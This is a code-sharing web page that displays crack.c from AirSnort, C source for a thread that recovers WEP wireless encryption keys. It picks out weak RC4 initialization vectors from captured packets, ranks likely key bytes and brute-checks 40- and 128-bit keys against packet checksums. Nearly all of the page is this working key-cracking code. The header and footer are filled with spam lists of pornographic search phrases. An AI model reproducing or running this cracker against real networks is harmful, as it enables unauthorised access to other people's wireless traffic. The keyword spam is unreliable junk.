亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? crack.c

?? airsnort
?? C
字號:
/*    This file is part of AirSnort.    AirSnort is free software; you can redistribute it and/or modify    it under the terms of the GNU General Public License as published by    the Free Software Foundation; either version 2 of the License, or    (at your option) any later version.    AirSnort is distributed in the hope that it will be useful,      but WITHOUT ANY WARRANTY; without even the implied warranty of    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the    GNU General Public License for more details.    You should have received a copy of the GNU General Public License    along with AirSnort; if not, write to the Free Software    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA*/#include <stdio.h>#include <stdlib.h>#include <string.h>#include <semaphore.h>#include "bssidlist.h"#include "crack.h"#include "crc-32.h"extern int breadth40;extern int breadth128;int maxTries = 4;//deallocates a linked list of Packetsvoid destroyPacketList(Packet *p) {   Packet *cur = p, *next;   while (cur) {      next = cur->next;      free(cur->buf);      free(cur);      cur = next;   }}//Deallocates a linked list of Samplesvoid destroySampleList(Sample *s) {   Sample *cur = s, *next;   while (cur) {      next = cur->next;      free(cur);      cur = next;   }}//Adds a packet from the packet queue into the data being maintained for//a particulare access point.  If the Packet* contained in the queued node//is NULL, this is actually a signal from the gui to stop cracking that //particular access point.int addCrackPacket(CrackNode *ap, Packet *pkt) {   int isInteresting;   if (!pkt->len) {      //this is actually the signal to destroy the cracker thread      free(pkt);      return 1;        }   isInteresting = addSample(ap, pkt->buf, (pkt->buf)[4] ^ 0xAA);   if (isInteresting != -1) {      (ap->csamples)[isInteresting] ++;      ap->data->interesting ++;   }   if (ap->ksamples < 10 && pkt->len > 5) {        //test for len > 5 to accomodate load from file      pkt->next = ap->pkts;      ap->pkts = pkt;      ap->ksamples++;   }   else {      free(pkt->buf);      free(pkt);   }   return 0;}CrackNode *newCrackNode(struct BssidList_t *owner) {   CrackNode *ap = (CrackNode *) calloc(1, sizeof(CrackNode));   ap->data = owner;   sem_init(&ap->pktSem, 0, 1);   return ap;}void destroyCrackNode(CrackNode *ap) {   int i = 0;   destroyPacketList(ap->queue);   destroyPacketList(ap->pkts);   for (; i < 13; i++) {      destroySampleList(ap->samples[i]);   }}//This is the thread function for the cracker thread.  Currently it sleeps until it//recieves a signal from the capture thread that more interesting packets are //available.  The capture thread sends this signal every time it captures 10 new//packets for a given AP.  The crack thread first reads all available packets //from the packet queue, then then tries a 40 bit crack followed by a 128 bit crack.//If a key is cracked, the data is sent to the gui thread via the key queue void *cracker(void *arg) {   CrackNode *ap = (CrackNode *) arg;   int interesting = 0;   Packet *p;   while (!ap->die) {      sem_wait(&(ap->data->crackSem));      while ((p = dequeuePacket(ap)) != NULL) {         if (addCrackPacket(ap, p)) {            pthread_exit(NULL);         }      }      if (!ap->data->channelChanged && interesting == ap->data->interesting) continue;      ap->data->channelChanged = 0;      interesting = ap->data->interesting;      if (!(ap->cracked) && tryCrack40(ap, ap->curGuess) == RES_SUCCESS) {         ap->cracked = 5;         break;      }      else if (!(ap->cracked) && tryCrack128(ap, ap->curGuess) == RES_SUCCESS) {         ap->cracked = 13;         break;      }   }   pthread_exit(NULL);}int checkKey(Packet *list, unsigned char *k, int klen) {   unsigned char key[16], *buf;   unsigned char * data;   RC4 rc;   int i;   Packet *cur = list;   memcpy(key+3, k, klen);   while (cur) {  //loop through all packets      data = cur->buf + 4;      RC4init(&rc);      buf = (unsigned char*) malloc(sizeof(unsigned char) * (cur->len - 4));      memcpy(key, cur->buf, 3); //copy packet IV into key      keyWith(&rc, key, klen+3);       for(i = 0; i < cur->len - 4; i++) {         buf[i] = data[i] ^ step(&rc);      }//      if (doFCS(buf, cur->len - 8) != 0xdebb20e3) {      if (doFCS(buf, cur->len - 4) != 0xdebb20e3) {         free(buf);	 return(RES_FAILURE);      }      cur = cur->next;   }   return(RES_SUCCESS);}typedef struct freq_t_t {  int index;  int score;} freq_t;int freq_compare(const void *a,const void *b) {  return(((freq_t *) b)->score - ((freq_t *) a)->score);} //#define DEBUG_CRACK#ifdef DEBUG_CRACK//return a string version of the hex bytes held in key//bytes are separated by a colonchar *hexKey(unsigned char *key, int size) {   static char str[50];   char *ptr = str + 2;   int i = 1;   sprintf(str, "%2.2X", key[0]);   for (; i < size; i++, ptr += 3) {      sprintf(ptr, ":%2.2X", key[i]);   }   return str;}//return key as ascii. Non printable ascii characters are//represented with a '.'char *ascKey(unsigned char *key, int size) {   static char str[15];   char *ptr = str;   int i = 0;   for (; i < size; i++, ptr++) {      sprintf(ptr, "%c", key[i] >= 32 && key[i] < 127 ? key[i] : '.');   }   return str;}#endifint tryByte(CrackNode *this, int which, int breadth, int keySize) {  freq_t freq[256];  int i, r, r2;  Sample *cur;  RC4 rc;  if (this->die) return RES_FAILURE;  if (which == keySize) {#ifdef DEBUG_CRACK//      if (this->tries < maxTries) {	      fprintf(stderr, "Trying: %s - %s\n", ascKey(this->curGuess + 3, keySize),                                            hexKey(this->curGuess + 3, keySize));//          this->tries++;//      }#endif     return checkKey(this->pkts, this->curGuess+3, keySize);  }  for (i = 0; i < 256; i++) {     freq[i].score = 0;     freq[i].index = i;  }  cur = this->samples[which];  while (cur) {    memcpy(this->curGuess, cur->iv, 3);    RC4init(&rc);    r2 = tryIV(&rc, this->curGuess, which, cur->firstByte);    if (r2 >= 0) freq[r2].score += 1000;    if (r2 >= 32 && r2 <= 127) freq[r2].score += 5;    cur = cur->next;  }  qsort(freq, 256, sizeof(freq_t), freq_compare);  for(i = 0; i < breadth; i++) {    if (freq[i].score == 0) return(RES_FAILURE);    this->curGuess[3+which] = freq[i].index;    r = tryByte(this, which + 1, breadth, keySize);    if (r == RES_SUCCESS) return(r);  }  return(RES_BREADTH_EXCEEDED);}// determine which key byte an iv is useful in resolvingint classify(unsigned char *p) {   unsigned char sum, k;   if (p[1] == 255 && p[0] > 2 && p[0] < 16) {      return p[0] - 3;   }   sum = p[0] + p[1];   if (sum == 1) {      if (p[2] <= 0x0A) {         return p[2] + 2;      }      else if (p[2] == 0xFF) {         return 0;      }   }   k = 0xFE - p[2];   if (sum == k && (p[2] >= 0xF2 && p[2] <= 0xFE && p[2] != 0xFD)) {      return k;   }   return -1;}int addSample(CrackNode *this, unsigned char *iv, unsigned char byte) {  Sample *s;  int loc = classify(iv);  if (loc == -1) return -1;  s = this->samples[loc];  while(s) {    if (s->iv[0] == iv[0] && s->iv[1] == iv[1] && s->iv[2] == iv[2]) {       return(-1);  //if we already have a sample at that spot return    }    s = s->next;  }  s = (Sample*) malloc(sizeof(Sample));  memcpy(s->iv, iv, 3);  s->firstByte = byte;  s->next = this->samples[loc];  this->samples[loc] = s;  return(loc);}int tryCrack40(CrackNode *this, unsigned char *result) {  int r;  this->tries = 0;  r = tryByte(this, 0, breadth40, 5);  if (r == RES_SUCCESS) {    memcpy(result, this->curGuess+3, 5);  }  return(r);}int tryCrack128(CrackNode *this, unsigned char *result) {  int r;  this->tries = 0;  r = tryByte(this, 0, breadth128, 13);  if (r == RES_SUCCESS) {    memcpy(result, this->curGuess+3, 13);  }  return(r);}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产视频一区二区在线观看| www国产亚洲精品久久麻豆| 国产一区二区三区免费播放| 亚洲国产日韩一级| 伊人开心综合网| 亚洲欧洲av色图| 国产精品日韩精品欧美在线| 日本一区二区三区四区在线视频| 久久日韩粉嫩一区二区三区| 欧美不卡一区二区三区四区| 精品国产污污免费网站入口| 久久午夜色播影院免费高清| 国产亚洲婷婷免费| 日本一区二区高清| 日本一区二区综合亚洲| 日本一区二区动态图| 中文字幕一区二区三区色视频| 国产精品久久久久久久岛一牛影视 | 亚洲自拍都市欧美小说| 一区二区三区日韩精品| 亚洲国产精品嫩草影院| 日韩综合在线视频| 国产剧情一区在线| av中文一区二区三区| 欧美视频在线观看一区| 日韩欧美在线一区二区三区| 国产日韩三级在线| 一区二区三区精品| 精品一区二区三区在线视频| 成人一区二区三区| 欧美在线视频不卡| 日韩精品最新网址| 国产精品久久久久久久久搜平片| 国产成人免费视频一区| 成人天堂资源www在线| 国产精品免费av| 亚洲欧美偷拍另类a∨色屁股| 中文字幕在线观看不卡| 亚洲国产成人av| 国产精品一线二线三线| 在线视频中文字幕一区二区| 制服丝袜中文字幕一区| 久久久久国产精品麻豆ai换脸 | 欧美日韩久久久久久| 日韩女优毛片在线| 成人免费视频在线观看| 裸体一区二区三区| 91污片在线观看| 精品精品国产高清a毛片牛牛 | 午夜在线成人av| 国产成人亚洲精品狼色在线| 欧美日韩一本到| 国产精品人成在线观看免费| 五月天亚洲婷婷| 成人av动漫在线| 精品国产一区久久| 亚洲123区在线观看| 成人av电影在线网| 精品成人在线观看| 日韩主播视频在线| 一本色道久久综合亚洲aⅴ蜜桃| 欧美精品一区二区蜜臀亚洲| 天涯成人国产亚洲精品一区av| 成人精品视频.| 国产网红主播福利一区二区| 日本aⅴ精品一区二区三区| 在线免费观看成人短视频| 亚洲国产经典视频| 成人中文字幕在线| 久久欧美中文字幕| 精品影视av免费| 91精品国产综合久久国产大片| 一区二区三区毛片| 色综合久久综合网欧美综合网| 久久精品夜色噜噜亚洲a∨| 精品一区二区三区免费视频| 日韩午夜激情免费电影| 日本不卡中文字幕| 91精品国产色综合久久久蜜香臀| 亚洲大片一区二区三区| 欧美日韩在线免费视频| 亚洲一区二区三区免费视频| 91国偷自产一区二区三区成为亚洲经典| 日韩视频一区二区三区 | 精品日韩欧美一区二区| 日本视频在线一区| 欧美成人一区二区三区片免费| 蜜桃久久久久久| 精品免费国产一区二区三区四区| 美腿丝袜亚洲三区| 精品国产精品网麻豆系列| 激情综合一区二区三区| 国产丝袜在线精品| 成人免费视频app| 亚洲精品国产a| 欧美喷水一区二区| 韩国中文字幕2020精品| 国产亚洲精久久久久久| www.一区二区| 一区二区三区精密机械公司| 欧美人动与zoxxxx乱| 久久不见久久见免费视频1| 欧美国产精品专区| 欧美亚洲国产怡红院影院| 天天操天天色综合| 久久色中文字幕| 95精品视频在线| 日本va欧美va精品发布| 中文字幕高清不卡| 欧美日韩一级二级三级| 精品亚洲成av人在线观看| 亚洲欧美中日韩| 欧美一级一区二区| 99视频在线精品| 蜜乳av一区二区| 一个色妞综合视频在线观看| 欧美精品一区二区不卡| 99久久久国产精品| 久久成人羞羞网站| 中文字幕在线观看一区| 欧美电视剧在线看免费| 91麻豆精品秘密| 国产在线视视频有精品| 一区二区三区成人| 国产无一区二区| 91精品国产综合久久福利| 91亚洲国产成人精品一区二三| 日本成人中文字幕| 亚洲精品亚洲人成人网在线播放| 精品国产乱码久久久久久浪潮| 国产成人精品一区二区三区四区 | 国产很黄免费观看久久| 日韩综合一区二区| 亚洲视频 欧洲视频| 精品盗摄一区二区三区| 欧美另类一区二区三区| 97se亚洲国产综合自在线观| 精品一区免费av| 日精品一区二区三区| 亚洲综合偷拍欧美一区色| 亚洲国产成人在线| 久久久久久麻豆| 91精品国产综合久久精品app| 91精品1区2区| 91视频你懂的| av成人动漫在线观看| 国产传媒欧美日韩成人| 九九九精品视频| 美女www一区二区| 日韩高清不卡一区二区| 亚洲成人www| 亚洲妇熟xx妇色黄| 午夜精品影院在线观看| 亚洲已满18点击进入久久| 亚洲免费av网站| 亚洲图片你懂的| 国产精品福利一区二区| 国产精品丝袜一区| 中日韩av电影| 亚洲丝袜美腿综合| 亚洲日本一区二区| 一区二区激情小说| 亚洲一区二区av在线| 午夜精彩视频在线观看不卡| 日日夜夜一区二区| 久久狠狠亚洲综合| 国产宾馆实践打屁股91| 国产福利91精品一区| 成a人片国产精品| 在线免费观看不卡av| 欧美性一区二区| 51午夜精品国产| 日韩三级视频在线观看| 久久久精品2019中文字幕之3| 国产精品美女视频| 樱花草国产18久久久久| 视频一区二区欧美| 国产麻豆欧美日韩一区| 成人v精品蜜桃久久一区| 色婷婷综合久久久中文字幕| 欧美视频在线观看一区| 欧美tickle裸体挠脚心vk| 久久久欧美精品sm网站| 亚洲三级在线免费观看| 免费精品视频在线| 国产成a人亚洲精品| 色香蕉成人二区免费| 欧美一区二区三区在| 日本一区二区三区免费乱视频| 亚洲综合一区二区精品导航| 看片网站欧美日韩| 91免费在线看| 精品99999| 一区二区三区免费网站| 国产一区免费电影| 在线观看亚洲精品视频| 精品国偷自产国产一区| 亚洲精品中文在线| 国产精品白丝jk白祙喷水网站| 在线观看不卡视频|